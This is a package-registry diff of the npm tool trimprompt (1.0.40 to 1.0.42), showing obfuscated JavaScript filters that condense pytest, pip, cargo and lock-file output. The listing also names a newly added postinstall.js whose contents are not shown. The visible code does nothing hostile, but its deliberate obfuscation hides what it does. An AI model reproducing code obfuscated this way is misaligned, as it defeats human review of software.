trimprompt 1.0.40 → 1.0.42
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -3
- package/cache-manager.js +1 -1
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +493 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/hooks/claude-hook.js +1 -1
- package/mcp.js +1 -1
- package/package.json +2 -2
- package/postinstall.js +21 -0
- package/proxy-conv.js +1 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +387 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/filters/python.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0xc2d57b=a0_0x4e39;(function(_0x581523,_0x2138ee){const _0x48709e=a0_0x4e39,_0x227e3b=_0x581523();while(!![]){try{const _0x2748b9=parseInt(_0x48709e(0xbc))/0x1+parseInt(_0x48709e(0xb8))/0x2*(-parseInt(_0x48709e(0xb1))/0x3)+parseInt(_0x48709e(0xae))/0x4+parseInt(_0x48709e(0xbf))/0x5*(parseInt(_0x48709e(0xb3))/0x6)+-parseInt(_0x48709e(0xa4))/0x7+-parseInt(_0x48709e(0xaf))/0x8+parseInt(_0x48709e(0xb6))/0x9*(parseInt(_0x48709e(0xbb))/0xa);if(_0x2748b9===_0x2138ee)break;else _0x227e3b['push'](_0x227e3b['shift']());}catch(_0x25ea7a){_0x227e3b['push'](_0x227e3b['shift']());}}}(a0_0x1b87,0x7b2bc));function a0_0x1b87(){const _0x43b126=['\x20\x20\x20\x20','___','6673331yHFQoy','Pytest:\x20All\x20tests\x20passed','===\x20ERRORS\x20===','match','join','push','.\x20[FAIL]\x20','Downloading','passed','startsWith','3501800gpfhML','6291432VCSwnv','__esModule','501NbGpHF','\x20\x20\x20\x20...\x20(','81444OYLESM','===\x20short\x20test\x20summary\x20info\x20===','failed','9RQqCJq','Successfully\x20installed','1650SGJvxF','\x20\x20...\x20+','filterPipInstall','3082930sxrsUU','220974aUStQA','\x20skipped','trim','360dPJwCy','\x20xpassed\x20(warning!)','replace','Requirement\x20already\x20satisfied','\x20more\x20failures\x20truncated','\x20lines\x20of\x20stacktrace\x20truncated)','filter','\x20failed','\x20in\x20','E\x20\x20\x20','\x20passed','slice','\x20xfailed','Pytest:\x20','length','===','includes','split'];a0_0x1b87=function(){return _0x43b126;};return a0_0x1b87();}Object['defineProperty'](exports,a0_0xc2d57b(0xb0),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0xc2d57b(0xba)]=filterPipInstall;function a0_0x4e39(_0x46aa77,_0x2bae36){_0x46aa77=_0x46aa77-0x99;const _0x1b8794=a0_0x1b87();let _0x4e396b=_0x1b8794[_0x46aa77];return _0x4e396b;}function filterPytest(_0x3ac081){const _0x30693a=a0_0xc2d57b,_0x2e97a2=_0x3ac081[_0x30693a(0xa1)]('\x0a');let _0x181764=0x0,_0x469daf=0x0,_0x44a53b=0x0,_0x200c48=0x0,_0x4cff68=0x0;const _0x576a97=[];let _0x46846c=[],_0x54fdf3=![];for(const _0x285a84 of _0x2e97a2){const _0x1f4c0b=_0x285a84[_0x30693a(0xbe)]();if(_0x1f4c0b['startsWith']('===\x20FAILURES\x20===')||_0x1f4c0b[_0x30693a(0xad)](_0x30693a(0xa6))){_0x54fdf3=!![];continue;}else(_0x1f4c0b[_0x30693a(0xad)](_0x30693a(0xb4))||_0x1f4c0b[_0x30693a(0xad)](_0x30693a(0x9f))&&_0x1f4c0b[_0x30693a(0xa0)](_0x30693a(0xac)))&&(_0x54fdf3=![],_0x46846c[_0x30693a(0x9e)]>0x0&&(_0x576a97[_0x30693a(0xa9)](_0x46846c),_0x46846c=[]));if(_0x54fdf3){if(_0x1f4c0b[_0x30693a(0xad)](_0x30693a(0xa3)))_0x46846c['length']>0x0&&(_0x576a97['push'](_0x46846c),_0x46846c=[]),_0x46846c[_0x30693a(0xa9)](_0x1f4c0b);else _0x1f4c0b['length']>0x0&&_0x46846c[_0x30693a(0xa9)](_0x285a84);continue;}if(_0x1f4c0b[_0x30693a(0xad)]('===')&&_0x1f4c0b[_0x30693a(0xa0)](_0x30693a(0xc7))){const _0x2e48ea=_0x1f4c0b[_0x30693a(0xa7)](/(\d+)\s+passed/),_0x22f881=_0x1f4c0b[_0x30693a(0xa7)](/(\d+)\s+failed/),_0x2ad49c=_0x1f4c0b['match'](/(\d+)\s+skipped/),_0x40daac=_0x1f4c0b[_0x30693a(0xa7)](/(\d+)\s+xfailed/),_0x2c6a15=_0x1f4c0b[_0x30693a(0xa7)](/(\d+)\s+xpassed/);if(_0x2e48ea)_0x181764=parseInt(_0x2e48ea[0x1]);if(_0x22f881)_0x469daf=parseInt(_0x22f881[0x1]);if(_0x2ad49c)_0x44a53b=parseInt(_0x2ad49c[0x1]);if(_0x40daac)_0x200c48=parseInt(_0x40daac[0x1]);if(_0x2c6a15)_0x4cff68=parseInt(_0x2c6a15[0x1]);}}_0x46846c[_0x30693a(0x9e)]>0x0&&_0x576a97[_0x30693a(0xa9)](_0x46846c);if(_0x181764===0x0&&_0x469daf===0x0&&_0x44a53b===0x0&&_0x200c48===0x0&&_0x4cff68===0x0){if(_0x3ac081['includes'](_0x30693a(0xac))&&!_0x3ac081['includes'](_0x30693a(0xb5)))return _0x30693a(0xa5);return _0x3ac081;}if(_0x469daf===0x0&&_0x181764>0x0&&_0x44a53b===0x0&&_0x200c48===0x0&&_0x4cff68===0x0)return _0x30693a(0x9d)+_0x181764+'\x20passed';const _0x149680=[];_0x149680[_0x30693a(0xa9)](_0x30693a(0x9d)+_0x181764+_0x30693a(0x9a));if(_0x469daf>0x0)_0x149680['push'](_0x469daf+_0x30693a(0xc6));if(_0x44a53b>0x0)_0x149680['push'](_0x44a53b+_0x30693a(0xbd));if(_0x200c48>0x0)_0x149680[_0x30693a(0xa9)](_0x200c48+_0x30693a(0x9c));if(_0x4cff68>0x0)_0x149680[_0x30693a(0xa9)](_0x4cff68+_0x30693a(0xc0));const _0x396c42=[_0x149680[_0x30693a(0xa8)](',\x20')];if(_0x576a97[_0x30693a(0x9e)]>0x0){_0x396c42[_0x30693a(0xa9)]('\x0aFailures:');const _0x43026d=0x3,_0x13065b=_0x576a97[_0x30693a(0x9b)](0x0,_0x43026d);for(let _0x4de417=0x0;_0x4de417<_0x13065b[_0x30693a(0x9e)];_0x4de417++){const _0x59bb42=_0x13065b[_0x4de417],_0x4ee844=_0x59bb42[0x0][_0x30693a(0xc1)](/_/g,'')[_0x30693a(0xbe)]();_0x396c42[_0x30693a(0xa9)]('\x20\x20'+(_0x4de417+0x1)+_0x30693a(0xaa)+_0x4ee844);const _0x211ebe=_0x59bb42[_0x30693a(0x9b)](0x1),_0x498869=_0x211ebe['filter'](_0x29109c=>{const _0x4fc1c0=_0x30693a,_0x43c8a4=_0x29109c[_0x4fc1c0(0xbe)]();return _0x43c8a4[_0x4fc1c0(0xad)]('>')||_0x43c8a4[_0x4fc1c0(0xad)](_0x4fc1c0(0x99))||_0x43c8a4['includes']('.py:')||_0x43c8a4[_0x4fc1c0(0xa0)]('AssertionError:');});for(const _0x34b584 of _0x498869[_0x30693a(0x9b)](0x0,0x8)){_0x396c42[_0x30693a(0xa9)](_0x30693a(0xa2)+_0x34b584);}_0x498869[_0x30693a(0x9e)]>0x8&&_0x396c42[_0x30693a(0xa9)](_0x30693a(0xb2)+(_0x498869[_0x30693a(0x9e)]-0x8)+_0x30693a(0xc4));}_0x576a97[_0x30693a(0x9e)]>_0x43026d&&_0x396c42['push'](_0x30693a(0xb9)+(_0x576a97[_0x30693a(0x9e)]-_0x43026d)+_0x30693a(0xc3));}return _0x396c42[_0x30693a(0xa8)]('\x0a');}function filterPipInstall(_0x4ba11b){const _0x13bef4=a0_0xc2d57b,_0x3ac2d0=_0x4ba11b['split']('\x0a'),_0x53dbba=[];for(const _0x3d17a1 of _0x3ac2d0){const _0x53c29f=_0x3d17a1[_0x13bef4(0xbe)]();_0x53c29f['startsWith'](_0x13bef4(0xb7))&&_0x53dbba['push'](_0x53c29f);}if(_0x53dbba['length']>0x0)return _0x53dbba[_0x13bef4(0xa8)]('\x0a');return _0x3ac2d0[_0x13bef4(0xc5)](_0x5eec83=>{const _0x300320=_0x13bef4,_0x3f2ffd=_0x5eec83[_0x300320(0xbe)]();return!_0x3f2ffd[_0x300320(0xad)]('Collecting')&&!_0x3f2ffd[_0x300320(0xad)](_0x300320(0xab))&&!_0x3f2ffd['includes']('Using\x20cached')&&!_0x3f2ffd['startsWith'](_0x300320(0xc2));})['join']('\x0a')[_0x13bef4(0xbe)]();}
|
package/filters/rust.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';const a0_0x567dca=a0_0x5072;function a0_0x2a6f(){const _0x26a97d=['\x20warnings','\x20more\x20failures','warning[','\x0aWarnings:','includes','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','__esModule','trim','6971106ORmDAG','\x20passed','\x20errors,\x20','20oJtTvq','left:','\x20crates\x20successfully','90TFlbmj','filterCargoTest','Cargo\x20test:\x20','\x20\x20...\x20+','\x20more\x20errors','replace','defineProperty','\x20\x20\x20\x20','split','right:','\x20ignored','min','659101sDWSci','push','6739740OWixHY','\x20passed,\x20','Compiling\x20','error:','length','7902125emmVYc','7RKcUpc','warning:','673095kwesFa','Cargo:\x20compiled\x20','slice','\x0aFailures:','2WkDFuO','filter','failures:','test\x20result:','match','assert','startsWith','error[','1264448NsTsry','897630jGvoys','join','\x20failed,\x20','panicked','Cargo\x20test:\x20all\x20tests\x20passed','\x20crates,\x20'];a0_0x2a6f=function(){return _0x26a97d;};return a0_0x2a6f();}(function(_0x5181f8,_0x4d347f){const _0x5bc6f2=a0_0x5072,_0x438629=_0x5181f8();while(!![]){try{const _0x1997f5=-parseInt(_0x5bc6f2(0x19d))/0x1*(parseInt(_0x5bc6f2(0x174))/0x2)+parseInt(_0x5bc6f2(0x170))/0x3*(parseInt(_0x5bc6f2(0x18e))/0x4)+parseInt(_0x5bc6f2(0x19f))/0x5+-parseInt(_0x5bc6f2(0x18b))/0x6*(parseInt(_0x5bc6f2(0x1a5))/0x7)+parseInt(_0x5bc6f2(0x17c))/0x8+-parseInt(_0x5bc6f2(0x191))/0x9*(-parseInt(_0x5bc6f2(0x17d))/0xa)+-parseInt(_0x5bc6f2(0x1a4))/0xb;if(_0x1997f5===_0x4d347f)break;else _0x438629['push'](_0x438629['shift']());}catch(_0x5607b7){_0x438629['push'](_0x438629['shift']());}}}(a0_0x2a6f,0xf0c14));Object[a0_0x567dca(0x197)](exports,a0_0x567dca(0x189),{'value':!![]}),exports[a0_0x567dca(0x192)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0x2e0476){const _0x2ac3f0=a0_0x567dca,_0x167ae0=_0x2e0476['split']('\x0a');let _0x2143dd=0x0,_0x52236d=0x0,_0x111f80=0x0,_0x24edb8=0x0;const _0x17ef8d=[];let _0x5a630a=![],_0x1e67c1=[];for(const _0x2b486b of _0x167ae0){const _0x3141a5=_0x2b486b[_0x2ac3f0(0x18a)](),_0x1ef47e=_0x3141a5[_0x2ac3f0(0x178)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x1ef47e){_0x2143dd+=parseInt(_0x1ef47e[0x2]),_0x52236d+=parseInt(_0x1ef47e[0x3]),_0x111f80+=parseInt(_0x1ef47e[0x4]),_0x24edb8+=parseInt(_0x1ef47e[0x5]);continue;}if(_0x3141a5===_0x2ac3f0(0x176)||_0x3141a5==='----\x20failures\x20----'){_0x5a630a=!![];continue;}if(_0x5a630a){if(_0x3141a5[_0x2ac3f0(0x17a)]('----\x20')&&_0x3141a5['endsWith']('\x20----')){if(_0x1e67c1[_0x2ac3f0(0x1a3)]>0x0)_0x17ef8d[_0x2ac3f0(0x19e)](_0x1e67c1[_0x2ac3f0(0x17e)]('\x0a'));_0x1e67c1=[_0x3141a5[_0x2ac3f0(0x196)](/^-+\s*/,'')[_0x2ac3f0(0x196)](/\s*-+$/,'')];}else{if(_0x3141a5===_0x2ac3f0(0x176)||_0x3141a5[_0x2ac3f0(0x17a)](_0x2ac3f0(0x177))){if(_0x1e67c1[_0x2ac3f0(0x1a3)]>0x0)_0x17ef8d[_0x2ac3f0(0x19e)](_0x1e67c1['join']('\x0a'));_0x1e67c1=[],_0x5a630a=![];}else _0x3141a5['length']>0x0&&_0x1e67c1[_0x2ac3f0(0x19e)](_0x2b486b);}}}if(_0x1e67c1['length']>0x0)_0x17ef8d[_0x2ac3f0(0x19e)](_0x1e67c1[_0x2ac3f0(0x17e)]('\x0a'));if(_0x2143dd===0x0&&_0x52236d===0x0&&_0x111f80===0x0){if(_0x2e0476[_0x2ac3f0(0x187)]('test\x20result:\x20ok'))return _0x2ac3f0(0x181);return _0x2e0476;}if(_0x52236d===0x0){const _0x5dcc82=[_0x2ac3f0(0x193)+_0x2143dd+_0x2ac3f0(0x18c)];if(_0x111f80>0x0)_0x5dcc82[_0x2ac3f0(0x19e)](_0x111f80+_0x2ac3f0(0x19b));return _0x5dcc82[_0x2ac3f0(0x17e)](',\x20');}const _0x4b1b2a=[_0x2ac3f0(0x193)+_0x2143dd+_0x2ac3f0(0x1a0)+_0x52236d+_0x2ac3f0(0x17f)+_0x111f80+_0x2ac3f0(0x19b)];if(_0x17ef8d['length']>0x0){_0x4b1b2a[_0x2ac3f0(0x19e)](_0x2ac3f0(0x173));const _0x30ab07=0x3;for(let _0x266a38=0x0;_0x266a38<Math[_0x2ac3f0(0x19c)](_0x17ef8d[_0x2ac3f0(0x1a3)],_0x30ab07);_0x266a38++){const _0x310229=_0x17ef8d[_0x266a38][_0x2ac3f0(0x199)]('\x0a');_0x4b1b2a[_0x2ac3f0(0x19e)]('\x20\x20'+(_0x266a38+0x1)+'.\x20'+_0x310229[0x0]);const _0x411288=_0x310229[_0x2ac3f0(0x172)](0x1),_0x6a869e=_0x411288[_0x2ac3f0(0x175)](_0x275266=>_0x275266['trim']()[_0x2ac3f0(0x17a)]('thread')||_0x275266[_0x2ac3f0(0x187)](_0x2ac3f0(0x180))||_0x275266[_0x2ac3f0(0x187)](_0x2ac3f0(0x179))||_0x275266['includes'](_0x2ac3f0(0x18f))||_0x275266[_0x2ac3f0(0x187)](_0x2ac3f0(0x19a)));for(const _0x9e9c4e of _0x6a869e[_0x2ac3f0(0x172)](0x0,0x5)){_0x4b1b2a[_0x2ac3f0(0x19e)](_0x2ac3f0(0x198)+_0x9e9c4e['trim']());}}_0x17ef8d[_0x2ac3f0(0x1a3)]>_0x30ab07&&_0x4b1b2a['push']('\x20\x20...\x20+'+(_0x17ef8d[_0x2ac3f0(0x1a3)]-_0x30ab07)+_0x2ac3f0(0x184));}return _0x4b1b2a[_0x2ac3f0(0x17e)]('\x0a');}function a0_0x5072(_0x78bc6f,_0x3e2cfc){_0x78bc6f=_0x78bc6f-0x16f;const _0x2a6f89=a0_0x2a6f();let _0x507279=_0x2a6f89[_0x78bc6f];return _0x507279;}function filterCargoBuild(_0x42a411){const _0xd1f6c6=a0_0x567dca,_0x16e249=_0x42a411[_0xd1f6c6(0x199)]('\x0a'),_0x50fcba=[],_0x111113=[];let _0x460cc7=0x0;for(const _0xafa09c of _0x16e249){const _0x13b38f=_0xafa09c['trim']();if(_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x1a1)))_0x460cc7++;else{if(_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x185))||_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x16f)))_0x50fcba[_0xd1f6c6(0x19e)](_0x13b38f);else{if(_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x17b))||_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x1a2)))_0x111113[_0xd1f6c6(0x19e)](_0x13b38f);}}}if(_0x111113[_0xd1f6c6(0x1a3)]===0x0&&_0x50fcba[_0xd1f6c6(0x1a3)]===0x0)return _0x460cc7>0x0?_0xd1f6c6(0x171)+_0x460cc7+_0xd1f6c6(0x190):_0x42a411[_0xd1f6c6(0x18a)]();const _0x35d0df=[];if(_0x111113[_0xd1f6c6(0x1a3)]>0x0){_0x35d0df[_0xd1f6c6(0x19e)]('Cargo:\x20'+_0x111113[_0xd1f6c6(0x1a3)]+_0xd1f6c6(0x18d)+_0x50fcba[_0xd1f6c6(0x1a3)]+_0xd1f6c6(0x183)),_0x35d0df[_0xd1f6c6(0x19e)]('\x0aErrors:');for(const _0x3056ac of _0x111113[_0xd1f6c6(0x172)](0x0,0x5))_0x35d0df['push']('\x20\x20'+_0x3056ac);if(_0x111113[_0xd1f6c6(0x1a3)]>0x5)_0x35d0df[_0xd1f6c6(0x19e)](_0xd1f6c6(0x194)+(_0x111113[_0xd1f6c6(0x1a3)]-0x5)+_0xd1f6c6(0x195));}else _0x35d0df[_0xd1f6c6(0x19e)](_0xd1f6c6(0x171)+_0x460cc7+_0xd1f6c6(0x182)+_0x50fcba['length']+_0xd1f6c6(0x183));if(_0x50fcba['length']>0x0&&_0x50fcba[_0xd1f6c6(0x1a3)]<=0x5){_0x35d0df[_0xd1f6c6(0x19e)](_0xd1f6c6(0x186));for(const _0x23f527 of _0x50fcba)_0x35d0df['push']('\x20\x20'+_0x23f527);}else _0x50fcba[_0xd1f6c6(0x1a3)]>0x5&&_0x35d0df[_0xd1f6c6(0x19e)]('\x0a('+_0x50fcba[_0xd1f6c6(0x1a3)]+_0xd1f6c6(0x188));return _0x35d0df['join']('\x0a');}
|
package/filters/shell.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x40f52a=a0_0x2f8d;(function(_0x34d1b1,_0x505cd1){const _0x43785f=a0_0x2f8d,_0x1dc230=_0x34d1b1();while(!![]){try{const _0xcc49c2=-parseInt(_0x43785f(0x169))/0x1+-parseInt(_0x43785f(0x1b0))/0x2+parseInt(_0x43785f(0x196))/0x3+-parseInt(_0x43785f(0x194))/0x4*(-parseInt(_0x43785f(0x17b))/0x5)+-parseInt(_0x43785f(0x1aa))/0x6*(-parseInt(_0x43785f(0x1c1))/0x7)+-parseInt(_0x43785f(0x1b3))/0x8*(-parseInt(_0x43785f(0x155))/0x9)+-parseInt(_0x43785f(0x178))/0xa;if(_0xcc49c2===_0x505cd1)break;else _0x1dc230['push'](_0x1dc230['shift']());}catch(_0x5c6e69){_0x1dc230['push'](_0x1dc230['shift']());}}}(a0_0x6e5b,0x5a9ad));var __createBinding=this&&this[a0_0x40f52a(0x174)]||(Object[a0_0x40f52a(0x1cf)]?function(_0x590076,_0x154b49,_0x137e93,_0x2e9f25){const _0x130292=a0_0x40f52a;if(_0x2e9f25===undefined)_0x2e9f25=_0x137e93;var _0x30f7c1=Object[_0x130292(0x1b9)](_0x154b49,_0x137e93);(!_0x30f7c1||(_0x130292(0x18b)in _0x30f7c1?!_0x154b49[_0x130292(0x18e)]:_0x30f7c1[_0x130292(0x158)]||_0x30f7c1[_0x130292(0x1c2)]))&&(_0x30f7c1={'enumerable':!![],'get':function(){return _0x154b49[_0x137e93];}}),Object[_0x130292(0x14e)](_0x590076,_0x2e9f25,_0x30f7c1);}:function(_0x61809c,_0x256366,_0x59b96a,_0x2842c3){if(_0x2842c3===undefined)_0x2842c3=_0x59b96a;_0x61809c[_0x2842c3]=_0x256366[_0x59b96a];}),__setModuleDefault=this&&this[a0_0x40f52a(0x1b2)]||(Object[a0_0x40f52a(0x1cf)]?function(_0x4a2720,_0x41d11e){const _0x3c77c7=a0_0x40f52a;Object[_0x3c77c7(0x14e)](_0x4a2720,_0x3c77c7(0x15c),{'enumerable':!![],'value':_0x41d11e});}:function(_0x63815e,_0x31f445){const _0xf20b2=a0_0x40f52a;_0x63815e[_0xf20b2(0x15c)]=_0x31f445;}),__importStar=this&&this[a0_0x40f52a(0x163)]||(function(){var _0x4c3cd8=function(_0x3997f5){const _0x929eb6=a0_0x2f8d;return _0x4c3cd8=Object[_0x929eb6(0x1b1)]||function(_0x1e68fe){const _0x27c88b=_0x929eb6;var _0x788cc5=[];for(var _0x59ebeb in _0x1e68fe)if(Object[_0x27c88b(0x18d)][_0x27c88b(0x1d6)][_0x27c88b(0x16f)](_0x1e68fe,_0x59ebeb))_0x788cc5[_0x788cc5[_0x27c88b(0x1af)]]=_0x59ebeb;return _0x788cc5;},_0x4c3cd8(_0x3997f5);};return function(_0x819b9){const _0x1f1e6e=a0_0x2f8d;if(_0x819b9&&_0x819b9['__esModule'])return _0x819b9;var _0x2a318a={};if(_0x819b9!=null){for(var _0x222d2e=_0x4c3cd8(_0x819b9),_0x9eac54=0x0;_0x9eac54<_0x222d2e[_0x1f1e6e(0x1af)];_0x9eac54++)if(_0x222d2e[_0x9eac54]!==_0x1f1e6e(0x15c))__createBinding(_0x2a318a,_0x819b9,_0x222d2e[_0x9eac54]);}return __setModuleDefault(_0x2a318a,_0x819b9),_0x2a318a;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x40f52a(0x16b)]=filterLs,exports[a0_0x40f52a(0x1b8)]=filterTree,exports[a0_0x40f52a(0x1ab)]=filterCat,exports[a0_0x40f52a(0x1ba)]=filterGrep,exports[a0_0x40f52a(0x1de)]=filterFind;const path=__importStar(require('path')),generic_1=require('./generic'),tracker_1=require(a0_0x40f52a(0x193));function isFeatureEnabled(_0x28ef86){const _0x377cd5=a0_0x40f52a;try{const _0x19bbf6=tracker_1['tracker'][_0x377cd5(0x19a)](),_0x5825d2=_0x19bbf6[_0x377cd5(0x19d)];if(!_0x5825d2||_0x5825d2[_0x28ef86]===undefined)return!![];return _0x5825d2[_0x28ef86]!==![];}catch{return!![];}}const LOCK_FILES=[a0_0x40f52a(0x1ac),'yarn.lock',a0_0x40f52a(0x1d7),'Cargo.lock',a0_0x40f52a(0x1b7),a0_0x40f52a(0x1d2),a0_0x40f52a(0x189),a0_0x40f52a(0x17e),a0_0x40f52a(0x1ad)],BINARY_EXTENSIONS=['.min.js',a0_0x40f52a(0x156),a0_0x40f52a(0x153),a0_0x40f52a(0x1d5),'.png',a0_0x40f52a(0x1bd),a0_0x40f52a(0x190),'.gif',a0_0x40f52a(0x14f),a0_0x40f52a(0x191),a0_0x40f52a(0x1a2),a0_0x40f52a(0x18f),a0_0x40f52a(0x1dc),a0_0x40f52a(0x197),a0_0x40f52a(0x19e),a0_0x40f52a(0x168),a0_0x40f52a(0x1c0),a0_0x40f52a(0x1e3),a0_0x40f52a(0x1a0),a0_0x40f52a(0x18a),'.exe',a0_0x40f52a(0x160),a0_0x40f52a(0x1bb),a0_0x40f52a(0x1db),a0_0x40f52a(0x173),'.dat',a0_0x40f52a(0x16e),'.db',a0_0x40f52a(0x185),'.woff','.woff2',a0_0x40f52a(0x1d4),a0_0x40f52a(0x176),a0_0x40f52a(0x1c4),a0_0x40f52a(0x1d0),a0_0x40f52a(0x167),a0_0x40f52a(0x180),'.avi',a0_0x40f52a(0x15d),a0_0x40f52a(0x198),a0_0x40f52a(0x1bf),a0_0x40f52a(0x15b),a0_0x40f52a(0x1a6),'.o',a0_0x40f52a(0x19c)];function extractFilename(_0x16acfd){const _0x5bd88b=a0_0x40f52a,_0x4b1ec8=_0x16acfd[_0x5bd88b(0x1a5)]()['split'](/\s+/);for(let _0x28f8b1=0x1;_0x28f8b1<_0x4b1ec8[_0x5bd88b(0x1af)];_0x28f8b1++){if(!_0x4b1ec8[_0x28f8b1][_0x5bd88b(0x1b6)]('-'))return _0x4b1ec8[_0x28f8b1];}return null;}function filterLockFile(_0xdf1be7,_0x412cbd){const _0x5cfe31=a0_0x40f52a;try{const _0x5d18f7=path['basename'](_0x412cbd)[_0x5cfe31(0x159)]();if(!LOCK_FILES['some'](_0x6ae81d=>_0x5d18f7===_0x6ae81d['toLowerCase']()))return null;const _0x40a271=_0xdf1be7['length'];let _0x2b5678=0x0;if(_0x5d18f7===_0x5cfe31(0x1ac))try{const _0x3a0e3a=JSON['parse'](_0xdf1be7);_0x2b5678=Object[_0x5cfe31(0x1cc)](_0x3a0e3a['packages']||_0x3a0e3a['dependencies']||{})[_0x5cfe31(0x1af)];}catch{_0x2b5678=(_0xdf1be7['match'](/"resolved":/g)||[])[_0x5cfe31(0x1af)];}else{if(_0x5d18f7===_0x5cfe31(0x1d3))_0x2b5678=(_0xdf1be7[_0x5cfe31(0x1ae)](/^"?[^#\s][^:]*:$/gm)||[])['length'];else{if(_0x5d18f7===_0x5cfe31(0x195)||_0x5d18f7===_0x5cfe31(0x1d2))_0x2b5678=(_0xdf1be7[_0x5cfe31(0x1ae)](/\[\[package\]\]/g)||[])[_0x5cfe31(0x1af)];else{if(_0x5d18f7===_0x5cfe31(0x1b7))_0x2b5678=Math['floor'](_0xdf1be7[_0x5cfe31(0x1da)]('\x0a')[_0x5cfe31(0x152)](_0x6323c2=>_0x6323c2[_0x5cfe31(0x1a5)]())[_0x5cfe31(0x1af)]/0x2);else{if(_0x5d18f7==='composer.lock')try{_0x2b5678=JSON['parse'](_0xdf1be7)[_0x5cfe31(0x19b)]?.[_0x5cfe31(0x1af)]||0x0;}catch{}else _0x5d18f7===_0x5cfe31(0x1d7)?_0x2b5678=(_0xdf1be7[_0x5cfe31(0x1ae)](/^\s{2}['"@a-z]/gm)||[])[_0x5cfe31(0x1af)]:_0x2b5678=_0xdf1be7[_0x5cfe31(0x1da)]('\x0a')[_0x5cfe31(0x152)](_0x1774e6=>_0x1774e6[_0x5cfe31(0x1a5)]())[_0x5cfe31(0x1af)];}}}}return _0x5cfe31(0x175)+path['basename'](_0x412cbd)+':\x20'+_0x2b5678+_0x5cfe31(0x1bc)+_0x40a271[_0x5cfe31(0x1a1)]()+_0x5cfe31(0x17f);}catch{return null;}}function a0_0x6e5b(){const _0x2b396c=['1407716znyHoR','getOwnPropertyNames','__setModuleDefault','8ScCUqg','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','join','startsWith','go.sum','filterTree','getOwnPropertyDescriptor','filterGrep','.so','\x20dependencies,\x20','.jpg','\x20structural\x20lines\x20shown)','.pyc','.gz','7420KTVTzJ','configurable','.go','.otf','No\x20files\x20found','endsWith','slice','.kt','[binary\x20file]\x20','#include\x20','.js','keys','@return','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','create','.mp3','sort','poetry.lock','yarn.lock','.ttf','.wasm','hasOwnProperty','pnpm-lock.yaml','[binary/minified\x20file]\x20','indexOf','split','.dylib','.pdf','\x20more\x20files','filterFind','package\x20','push','\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)','charCodeAt','.bz2','defineProperty','.ico','\x0a...\x20(','.rs','filter','.map','.rb','2178801UasUuh','.min.css','substring','writable','toLowerCase','from\x20','.pyo','default','.mov','stringify','[minified\x20file]\x20','.dll','\x20more\x20directories','\x20matches\x20across\x20','__importStar','...\x20+','require(','.ts','.mp4','.tgz','230291VEwhjL','use\x20','filterLs','import\x20','\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)','.sqlite','call','parse','/\x20(','.cpp','.bin','__createBinding','[lock\x20file]\x20','.eot','.py','7092660bGEmaZ','\x20files\x20found\x20across\x20','collapseWhitespace','15QYejBO','includes','\x20more\x20files\x20with\x20matches','Gemfile.lock','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','.wav','\x20files)','\x20lines)','.cs','\x20lines\x20truncated]\x20...\x0a','.sqlite3','dirname','stripComments','json_crusher','composer.lock','.rar','get','.jsx','prototype','__esModule','.svg','.jpeg','.bmp','\x20chars\x20across\x20','../tracker','798876UNJXSk','cargo.lock','1522818GQkrCx','.zip','.webm','\x20directories,\x20','getConfig','packages','.obj','features_enabled','.tar.gz','export\x20','.7z','toLocaleString','.webp','extname','\x0a...\x20[','trim','.class','basename','.tsx','\x20directories','3768ZgSUts','filterCat','package-lock.json','bun.lockb','match','length'];a0_0x6e5b=function(){return _0x2b396c;};return a0_0x6e5b();}function filterBinaryOrMinified(_0x402f5f,_0x4da06d){const _0x2294a7=a0_0x40f52a;try{if(_0x4da06d){const _0x3b54c4=_0x4da06d['toLowerCase']();for(const _0x4439a9 of BINARY_EXTENSIONS){if(_0x3b54c4[_0x2294a7(0x1c6)](_0x4439a9))return _0x2294a7(0x1d8)+path[_0x2294a7(0x1a7)](_0x4da06d)+',\x20'+_0x402f5f['length']['toLocaleString']()+'\x20chars,\x20type:\x20'+_0x4439a9+_0x2294a7(0x1e1);}}const _0x95e893=_0x402f5f[_0x2294a7(0x157)](0x0,0x3e8);let _0x2cbac0=0x0;for(let _0x115819=0x0;_0x115819<_0x95e893[_0x2294a7(0x1af)];_0x115819++){if(_0x95e893['charCodeAt'](_0x115819)===0x0)_0x2cbac0++;}if(_0x2cbac0>0x0)return'[binary\x20file]\x20'+_0x402f5f[_0x2294a7(0x1af)]['toLocaleString']()+'\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)';let _0x33bfc0=0x0;for(let 